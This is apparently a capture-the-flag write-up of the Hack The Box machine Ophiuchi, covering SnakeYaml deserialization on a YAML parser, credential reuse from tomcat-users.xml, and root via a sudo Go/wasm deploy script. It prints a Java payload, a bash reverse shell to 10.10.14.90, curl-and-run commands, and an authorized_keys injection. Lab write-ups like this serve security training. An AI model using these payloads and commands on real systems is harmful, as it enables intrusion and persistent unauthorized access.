Info

Ophiuchi is Linux-based medium machine, created by felamos.

Enumeration

First of all, I’ll run port scan so we can know which ports are open and service versions.

Scanning Result

And we see 2 open ports. SSH and HTTP. Let’s visit page on 8080 port.

Page on 8080 Port

We found Online YAML Parser. Nothing interesting found in source page, so I’ll simply google YAML Exploit.

Results

As always, I click on first results. So, this time we can see SnakeYaml Deserilization, and I will read that article.

SnakeYaml Deserilization

Author of that article was already created the exploit payload with GitHub article. Read it. Now, we can use that payload on our Machine YAML Parser. First, start Python server to see if payload triggers the server.

Now, hit PARSE.

Result

Wooah! It works! Payload triggered the server. I tried to get reverse shell this way, but it not worked. Let’s search for YAML Payload.

YAML Payload

I found this one with same exploit we used. We maybe can abuse it with this YAML Payload and get reverse shell. Git clone this.

git clone https://github.com/artsploit/yaml-payload.git

Exploitation

After short researching, we can see AwesomeScriptEngineFactory.java file:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

We can use this script to get reverse shell. How?

 Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
 Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");

I tried to get reverse shell direct from this exploit, but it not worked. We need to create reverse shell bash file and then call it.

bash -c 'bash -i >& /dev/tcp/10.10.14.90/4444 0>&1'

Now, let’s modify Runtime.getRuntime().exec in exploit.

Runtime.getRuntime().exec("curl 10.10.14.90:1234/rev.sh -o /tmp/rev.sh");
Runtime.getRuntime().exec("bash /tmp/rev.sh");

First execution is transfer reverse shell script to server, and second one is running that script on server. Now, to prepare our exploit for running, we need to compile it since it is written in Java. Using javac and jar we can compile it. Go to main dir (yaml-payload) of cloned file so we can compile entire directory.

javac src/artsploit/AwesomeScriptEngineFactory.java
jar cvf exploit.jar -C src/ .

Now, we will again start our python server, and NetCat listener on port 4444, then run same payload on our 8080 Page.

Getting Shell

And we got shell as tomcat user. We don’t have permission to read user.txt. Let’s escalate to user.

User Escalation

After we got shell, it’s time for escalation. Let’s find how many users we have.

Only admin and there is user.txt. But we don’t have permission to read it. Since SSH port is open, I think we need to find creds for SSH login. We are tomcat, and creds might be in configuration directory. By default, these files are located at TOMCAT-HOME/conf. So, just type cd to get on default tomcat location.

Okay, so we can see there is conf directory. Enter into it, and explore.

I immediately noticed tomcat-users.xml and tomcat-users.xsd. I’ll read both of them.

Credentials Found

And we found creds for user in tomcat-users.xml. Let’s try to SSH into it with these creds. Username: admin Password: whythereisalimit

User

We got user! It’s time for root!

Root Escalation

First let’s check sudo capabilities with sudo -l:

Sudo Capabilities

We can see index.go file, so let’s check what that file is doing.

First, it reads from main.wasm and then check if it’s not equal to 1, it’s not ready to deploy, else it’s ready. Since main.wasm is not readable, I’ll transfer it to my machine and try to analyze it. On your local machine, run:

rsync -e "ssh" [email protected]:/opt/wasm-functions/main.wasm /path/to/save
Transfer main.wasm

WASM is Web Assembly, you can read more about it here. To read main.wasm, we need to decode it. How? We will use wasm2wat. This tool converts Web Assembly binary into S-expressions. It is a command line tool that takes a binary file as input and generates an output file containing the readable text. More about Web Assembly advanced tools can be found here. I will use some random internet wasm2wat tool. Click here for it.

Wasm2Wat

We need to change 0 to 1 (we saw that index.go script checks if it is equals to 1 or not). Now, copy that and now we need wat2wasm to convert it back to wasm. We will use that tool on same site, click here for it.

Wat2Wasm

Download it, rename to main.wasm, start python server and then transfer to machine.

Now, we need to try to run it and see what happens.

sudo /usr/bin/go run /opt/wasm-functions/index.go

And it’s ready to deploy. We will abuse deploy.sh and put our public key and then we will be able to connect to root with SSH.

echo 'echo "ssh-rsa AAAAB==========your_public_key==========" > /root/.ssh/authorized_keys' >> deploy.sh

And then, run again index.go script.

And now, you should be able to connect to root with SSH.

Root

PWNED!

Thank you for reading this writeup. If you want to support my work:

Hack The Box Buy Me A Coffee GitHub Discord